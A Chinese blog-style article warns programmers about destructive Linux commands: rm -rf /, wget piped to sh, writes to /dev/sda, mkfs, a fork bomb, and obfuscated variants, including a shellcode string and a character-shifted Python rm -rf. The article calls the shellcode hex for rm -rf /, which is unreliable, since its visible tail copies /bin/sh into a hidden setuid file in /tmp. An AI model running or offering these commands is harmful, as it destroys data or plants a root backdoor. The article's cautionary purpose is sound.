本文主要参考了以下原文:
http://www.linuxpromagazine.com/Online/News/Seven-Deadliest-Linux-Commandshttp://ubuntuforums.org/announcement.php?f=326
大多数时候程序员性情温和,神情淡定。但是会有例外,当他们因为加班加点过度劳累,在意识脆弱、头脑短路、麻痹大意时执行了下文里提到的“死亡命令”,那么心理素质再好的程序员也会抓狂,轻则几天甚至几个星期的精神沮丧,重则在未来的职业生涯里留下心里的阴影。
No 1. rm -rf /
致命指数:*****
在一些Unix/Linux操作系统里对应的是sudo rm -rf /
,这条命令会干脆而安静的删除根文件系统,不小心执行了这个命令的程序员就坐在地上哭吧,通常有过此类错误经历的程序员们都会患上后遗症——每次执行命令的前,都会下意识的停顿一下反复检查,俗称“回车恐惧症”。
No2. wget http://某个不信任的源 -O- | sh
致命指数:*****
为图省事,程序员会直接执行下载的脚本。这是十分危险的,当这些脚本来自非可信任的源,那么这种做法无异于在刀剑上跳舞。这段脚本可能会带有类似rm -rf /
的破坏指令,也可能会窃取你本机的隐私信息。尤其是如果你还习惯在root账户下操作的话,那就等着出事的那一天吧。
No3. 任意命令 > /dev/sda
致命指数:****
这里的任意命令
可以是如ls
,top
等带有输出的指令,这些输出的内容会直接写到/dev/sda
磁盘的初始扇区,而这些扇区通常存的是引导系统和文件系统的元数据,直接将它们覆盖,系统也就基本思密达了。致命指数给四星,是因为该命令虽隐晦但并不常用,而且在键入/dev/sda
这种敏感字段的时候,程序员们肾上腺的分泌会激涨。
No4. mkfs.ext3 /dev/sda
致命指数:****
无需解释,*nix下的格式化磁盘,之所以评级为四星,是因为该命令并不常用,而且打算格式化磁盘卷之前习惯好的程序员都有做过数据的备份。
No5. :(){:|:&};:
致命指数:***
著名的fork炸弹,这段看似无厘头的代码其实是申明了一个函数,名字叫.
,函数的内容就是fork一个新进程,而新进程也正是自己,也即不断的fork新进程,直到耗光系统资源让机器动弹不得。(注:理解fork系统调用,这里有一篇深入浅出的文章)
等价程序:
main() {
while (1)
fork();
}
致命指数三星,毕竟资源耗尽重启一下机器就好了,不会对数据造成破坏。而且通过设置ulimit来对进程数做限定,可以减弱炸弹的威力。
No6. mv /home/yourhomedirectory/* /dev/null
致命指数:***
Unix/Linux的/dev/null
是一个特殊的设备文件,写入/dev/null
设备文件的数据会被自动丢弃。这里虽然用的是mv
指令,但相当于rm
了。插一句,你可能会好奇/dev/null
的用途,这里推荐一篇文章。
关于以上致命的命令还有一些变体,如:char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
这段代码其实就是16进制的rm -rf /
再如下面这句python代码:python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'
上面16进制的命令你可能说看不明白的命令,我不会随意的执行。但这句python代码貌似可读,实际也是rm -rf *
。我们连半毛钱的rm
也看不到啊?再仔细一点吧,"sn!.sg!+"
移位后就是rm -rf *
了!
总之,Unix/Linux下的致命指令的破坏力丝毫不逊Windows下的病毒和木马,时刻警示我们程序员,养成良好的习惯才对抗这些恶魔的王道:
-避免使用root用户登陆
-为home目录建立独立的分区
-建立合理的用户分组
-定时的备份数据
⋯⋯
“sudo rm -rf /” 暗黑破坏神 鼠标垫